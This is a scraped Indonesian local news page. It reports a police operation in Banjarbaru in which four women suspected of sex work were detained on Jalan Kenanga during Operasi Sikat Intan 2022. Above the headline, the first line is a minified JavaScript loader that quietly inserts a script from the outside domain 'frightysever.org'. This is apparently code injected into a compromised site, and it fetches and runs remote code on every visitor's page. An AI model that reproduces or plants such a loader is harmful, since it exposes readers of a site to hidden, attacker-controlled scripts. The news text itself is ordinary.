(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Giat Cipta Kondisi, Polsek Liang Anggang Amankan Empat PSK di Jalan Kenanga


KANALKALIMANTAN.COM, BANJARBARU – Unit Gabungan Polsek Liang Anggang berhasil mengamankan empat orang wanita diduga pelanggar Peraturan Daerah (Perda) Kota Banjarbaru Nomor 6 Tahun 2002 dalam rangka Operasi Sikat Intan 2022.

Mereka ialah IP (24), PF (35), SW (30) dan SA (34), keempat wanita itu diduga pekerja seks diamankan dari Jalan Kenanga RT 006 RT 009, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru.

Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aiptu Kardi Gunadi mengatakan dalam rangka Operasi Sikat Intan 2022 yang dipimpin langsung Kapolsek Liang Anggang berhasil mengamankan empat orang PSK di Jalan Kenanga, Kelurahan Landasan Ulin Timur.

“Ini merupakan hasil dari giat kami dalam Cipta Kondisi jelang Ramadhan dalam rangka Ops Sikat Intan 2022,” ujarnya

 

 

Baca juga: Kalsel Mengalami Inflasi 0,93 Persen pada Bulan Maret

Giat itu dikatakan Kasi Humas, dilaksanakann pada Jumat (1/4/2022) sekitar pukul 21.30 Wita menyasar eks lokalisasi Pembatuan.

Ketika diamankan, keempat wanita diduga PSK sempat ingin melarikan diri ketika petugas melakukan patroli di Jalan Kenanga.

“Saat petugas melintas di Jalan Kenanga tersangka ingin melarikan dan kemudian dilakukan pengejaran,” tambahnya.

Kemudian diamankan dan dilakukan penggeledahan, didapati di tangan IP (24) lima belas buah kondom merk Sutra dan kartu tanda penduduk (KTP) diduga miliknya, di tangan PF (35) satu kotak merk Sutra, satu botol vigel dan KTP diduga miliknya.

Kemudian ditangan SW (30) juga didapati dua buah kondom merk Suprame dan KTP diduga miliknya dan terakhir ditangan SA (34) satu kota kondom merk Sutra dan KTP miliknya.

“Kesemua barang bukti tersebut diakui tersangka miliknya dan akan digunakan sebagai alat kontrasepsi jika ada tamu/pelanggan yang datang,” jelasnya.

Baca juga: Wali Kota Aditya Buka Pasar Wadai, Obati Kerinduan Warga Akan Kuliner Ramadhan!

Lebih lanjut, keempat wanita terduga PSK beserta barang bukti diamankan ke Mapolsek Liang Anggang guna proses lebih lanjut.

“Keempat tersangka terbukti melanggar Perda Kota Banjarbaru Nomor 6 Tahun 2002,” tuntasnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

1 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

2 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.